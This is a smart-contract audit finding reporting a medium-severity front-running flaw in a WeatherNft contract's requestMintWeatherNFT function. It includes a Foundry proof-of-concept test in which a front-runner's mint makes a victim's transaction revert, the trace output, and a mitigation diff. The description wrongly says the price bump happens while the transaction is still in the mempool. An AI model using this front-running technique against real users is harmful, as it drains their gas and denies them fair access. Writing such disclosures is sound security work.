[M-2] Unconditional Price Bump in requestMintWeatherNFT
Enables Front‑Running and User DOS
Description
requestMintWeatherNFT
increases the mint price immediately when any mint request enters the mempool—even before the original transaction is mined. This allows a front‑runner to watch for a user’s pending mint, submit their own mint with a higher gas price at the old price, and cause the victim’s transaction to revert (because the price has just been bumped). The attacker thus mints “cheaper,” and user loses gas.
function requestMintWeatherNFT(...) external payable returns (bytes32 _reqId) {
require(msg.value == s_currentMintPrice, WeatherNft__InvalidAmountSent());
s_currentMintPrice += s_stepIncreasePerMint;
}
Risk
Likelihood: High
-
Bots and MEV searchers continuously monitor the public mempool for high‑value NFT mint requests.
-
Submitting a rival transaction with higher gas to execute first is trivial—no special privileges or complex conditions needed.
Impact: Medium
-
Gas Drain & Denial‑of‑Service: Legitimate users’ transactions revert, wasting gas and blocking their ability to mint at the intended price.
-
Cheaper Arbitrage Mint: Attackers secure NFTs at the old, lower price, undermining fair access and potentially capturing all supply before retail users
Proof of Concept
Add the following test in the testing suite:
address frontRunner = makeAddr("frontRunner");
vm.deal(frontRunner, 1000e18);
deal(address(linkToken), frontRunner, 1000e18);
function test_frontRunning_vulnerability() public {
string memory pincode = "110001";
string memory isoCode = "IN";
uint256 initialPrice = weatherNft.s_currentMintPrice();
console.log(
"Initial price: ",
initialPrice,
" Step increase: ",
weatherNft.s_stepIncreasePerMint()
);
vm.startPrank(user);
bytes memory userTx = abi.encodeWithSelector(
weatherNft.requestMintWeatherNFT.selector,
pincode,
isoCode,
false,
1 days,
0
);
vm.stopPrank();
vm.prank(frontRunner);
weatherNft.requestMintWeatherNFT{value: initialPrice}(
"999999",
"US",
false,
1 days,
0
);
uint256 newPrice = weatherNft.s_currentMintPrice();
console.log(
"New price: ",
newPrice,
" Step increase: ",
weatherNft.s_stepIncreasePerMint()
);
assertEq(
newPrice,
initialPrice + weatherNft.s_stepIncreasePerMint()
);
vm.expectRevert(WeatherNftStore.WeatherNft__InvalidAmountSent.selector);
vm.prank(user);
(bool success, ) = address(weatherNft).call{value: initialPrice}(
userTx
);
}
Fig.1
[PASS] test_frontRunning_vulnerability() (gas: 510032)
Logs:
Initial price: 100000000000000 Step increase: 10000000000000
New price: 110000000000000 Step increase: 10000000000000
Running this test with the command forge test --mt test_frontRunning_vulnerability --via-ir --rpc-url $AVAX_FUJI_RPC_URL -vvvv
will have the output shown in Fig.1.
Fig.2
├─ [0] VM::prank(user: [0x6CA6d1e2D5347Bfab1d91e883F1915560e09129D])
│ └─ ← [Return]
├─ [1270] 0x4fF356bB2125886d048038386845eCbde022E15e::requestMintWeatherNFT{value: 100000000000000}("110001", "IN", false, 86400 [8.64e4], 0)
│ └─ ← [Revert] WeatherNft__InvalidAmountSent()
└─ ← [Return]
As we can see in Fig.2, when we try to call the tx with the initial value, it will revert. As such, our user got front-run.
Recommended Mitigation
Because bumping up the price in the `requestMintWeatherNFT leads to the user getting front-run, we could technically increase the price after the whole minting process is complete.
function requestMintWeatherNFT(...) external payable returns (bytes32 _reqId) {
require(msg.value == s_currentMintPrice, WeatherNft__InvalidAmountSent());
- // immediate bump allows front‑running
- s_currentMintPrice += s_stepIncreasePerMint;
+ // defer bump until after mint finalization
+ // (e.g. in fulfillMintRequest, after successful mint)
// … existing transfer/LINK logic …
_reqId = _sendFunctionsWeatherFetchRequest(_pincode, _isoCode);
+ // do *not* bump price here
emit WeatherNFTMintRequestSent(msg.sender, _pincode, _isoCode, _reqId);
// record user request…
}
+
+// then, in fulfillMintRequest, once mint is done:
+function fulfillMintRequest(bytes32 requestId) external {
+ // … existing checks and mint …
+ // only now bump the price for next user
+ s_currentMintPrice += s_stepIncreasePerMint;
+}